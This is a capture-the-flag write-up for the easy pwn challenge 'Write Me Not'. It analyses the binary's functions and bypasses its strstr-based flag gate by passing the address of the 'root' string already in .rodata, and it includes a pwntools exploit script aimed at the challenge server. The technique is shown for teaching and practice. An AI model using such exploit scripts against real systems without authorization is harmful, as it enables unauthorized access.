Write Me Not
Write Me Not
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: logic_gate_bypass, rodata_constant_pointer, strstr_haystack_control
Summary
Task: NON-PIE x86-64 menu pwn exposing arbitrary 1-byte write and arbitrary read, with a get_flag gate that calls strstr(user_ptr, "root"). Solution: skip the write primitive entirely — point the strstr haystack at the constant string "root" already in .rodata (0x402077), so strstr matches and print_flag() dumps /flag.
Write Me Not — pwn_spbctf
Description
Can you ask me well enough?
nc 109.233.56.90 11621
Author: Ilya Shilov (@Shtrikh17)
64-bit x86-64 ELF write_me_not1. Protections: NON-PIE (loaded at 0x400000), NX
enabled, Partial RELRO, NO stack canary. It is a menu-driven "arbitrary writer" toy.
Goal: read /flag from the remote service.
Analysis
Relevant functions:
| Function | Addr | Behavior |
|---|---|---|
main | 0x401542 | menu loop: fgets, sscanf(buf,"%c",&c), cmd=c-'0'; cmd<=3 → handle(cmd), cmd==4 exits |
handle | 0x4014eb | dispatch (0=read, 1=write, 2=get flag, 3=help) |
scan_hex | 0x4011ee | requires input to start with 0x, then parses a hex value |
read_func | 0x4012d9 | reads a pointer, printf("Result: %s\n", ptr) → arbitrary read as string |
write_func | 0x401395 | reads dest pointer + value (<=0xFF), sprintf(dest,"%c",value) → arbitrary 1-byte write |
get_flag | 0x401472 | reads pointer P, calls strstr(P, "root"); if non-NULL → print_flag() |
print_flag | 0x4011a2 | fopen("/flag","r"); fgets; puts → prints the flag |
| |
The challenge advertises a powerful arbitrary read + arbitrary 1-byte write
primitive ("Write Me Not" / arbitrary writer). The intended path is presumably to
use the write primitive to forge a string containing "root" somewhere and pass
its address to get_flag.
But the gate is simply:
c read-only • copy allowedif (strstr(user_controlled_pointer, "root") != NULL) print_flag();
We fully control the haystack pointer. The needle "root" is a constant
that already lives in the binary's .rodata at 0x402077. Because the binary is
NON-PIE, that address is fixed at 0x402077 with no leak required.
strstr("root", "root") trivially matches itself — so pointing the haystack at the
needle's own address satisfies the check with zero memory corruption.
Solution
Send command 2 (get flag), then supply the address of the in-binary "root"
constant (0x402077) as the pointer to search:
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.binary = ELF("./write_me_not1") # io = process("./write_me_not1") io = remote("109.233.56.90", 11621) io.recvuntil(b'> ') io.sendline(b'2') # get_flag io.recvuntil(b'Address: ') io.sendline(b'%#x' % 0x402077) # "root\0" constant in .rodata print(io.recvall().decode(errors="replace")) # strstr("root","root") -> print_flag()
scan_hex requires the 0x prefix, which %#x provides (0x402077).
strstr matches, print_flag() runs fopen("/flag") and puts the contents.